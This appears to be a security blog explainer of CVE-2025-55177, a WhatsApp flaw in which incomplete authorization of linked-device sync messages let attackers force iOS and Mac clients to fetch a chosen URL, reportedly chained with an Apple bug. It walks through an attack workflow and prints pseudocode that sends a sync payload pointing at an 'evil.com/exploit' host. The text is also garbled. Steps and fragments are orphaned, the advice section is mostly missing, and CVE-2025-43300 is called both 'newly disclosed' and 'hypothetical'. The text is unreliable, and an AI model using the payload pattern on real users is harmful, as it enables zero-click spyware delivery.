CVE-2025-55177 - How WhatsApp’s Device Sync Flaw Exposed iOS and Mac Users to Remote Attacks

In June 2025, security researchers and WhatsApp themselves revealed a significant flaw affecting WhatsApp for iOS, WhatsApp Business for iOS, and WhatsApp for Mac. Tracked as CVE-2025-55177, this vulnerability brought attention to incomplete authorization of linked device synchronization messages. Even worse, paired with a newly disclosed Apple OS vulnerability (CVE-2025-43300), it may have been leveraged for zero-click attacks against targeted users.

Let’s break down how this issue worked, who was at risk, its real-world exploitability, and what you need to do to stay safe.

The Core Issue

WhatsApp offers a handy feature: linking multiple devices so you can chat from your phone, tablet, or computer. When a device wants to process a sync message—for example, receiving a document or a URL—WhatsApp is supposed to verify that only *your* devices in *your* session will process them.

CVE-2025-55177 was caused by incomplete authorization checks for these sync messages. This meant that an unrelated user could trigger a target device (e.g., your iPhone or MacBook) to process content from any chosen URL, simply by interacting with the device sync system.

Forcing a target’s WhatsApp app to access malicious URLs.

- Using further system vulnerabilities (like CVE-2025-43300 on Apple devices) to escalate to device takeover.

How Could It Be Exploited?

This bug alone only let the attacker force your WhatsApp app to silently fetch and process a URL they control. But, in the wild, this type of attack is incredibly valuable—especially when chained with other bugs.

Example Attack Workflow

1. Attacker obtains second-hand access to WhatsApp’s device-linking or sync mechanism (perhaps by registering as a ‘linked’ device).

Attacker crafts a sync message containing a malicious URL (e.g., leading to an exploit server).

3. Target device receives and processes the message, opening the URL in a hidden WebView or similar context.
4. If the target device is vulnerable to CVE-2025-43300, code execution is achieved, giving the attacker broad access.

Example Proof-of-Concept Code Snippet (Simulated)

# (Pseudocode, for educational illustration)

# Attacker crafts rogue sync message payload
sync_message = {
    "type": "sync",
    "content_url": "https://evil.com/exploit";
}

# Sends the sync message to the WhatsApp device sync API
send_sync_to_device(target_device_id, sync_message)

This doesn’t require the victim to click anything or accept any prompts.

Note: A real-world exploit would rely on WhatsApp’s proprietary APIs/protocols and would require very sophisticated skills (and likely insider knowledge), but the logic is the same.


## Combined with iOS/Mac Vulnerability (CVE-2025-43300)

The core WhatsApp logic flaw becomes catastrophic when combined with a hypothetical OS-level vulnerability (e.g., CVE-2025-43300) that allows code execution from specially crafted web content.

- In the wild, attackers might have chained these two flaws to install spyware or backdoors, especially against high-profile targets (e.g., journalists, activists, executives).

Monitor device linking:

- Regularly review your list of linked WhatsApp devices in the app settings. Remove any unknown or suspicious entries.

References & Original Sources

- Meta Security Advisory (CVE-2025-55177)
- Apple Security Updates (CVE-2025-43300)
- The Hacker News: New WhatsApp Flaw
- WhatsApp Official Blog – About Your Security

Final Thoughts

The CVE-2025-55177 vulnerability reminds us: even popular messaging apps can have subtle authorization bugs that, in combination with other platform weaknesses, enable powerful attacks. If you use WhatsApp on Apple devices, update immediately and be vigilant for strange account activity.

Staying current with security advisories and patches is your best defense against targeted attacks using bugs like these.


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Timeline

Published on: 08/29/2025 16:15:36 UTC
Last modified on: 10/24/2025 14:14:08 UTC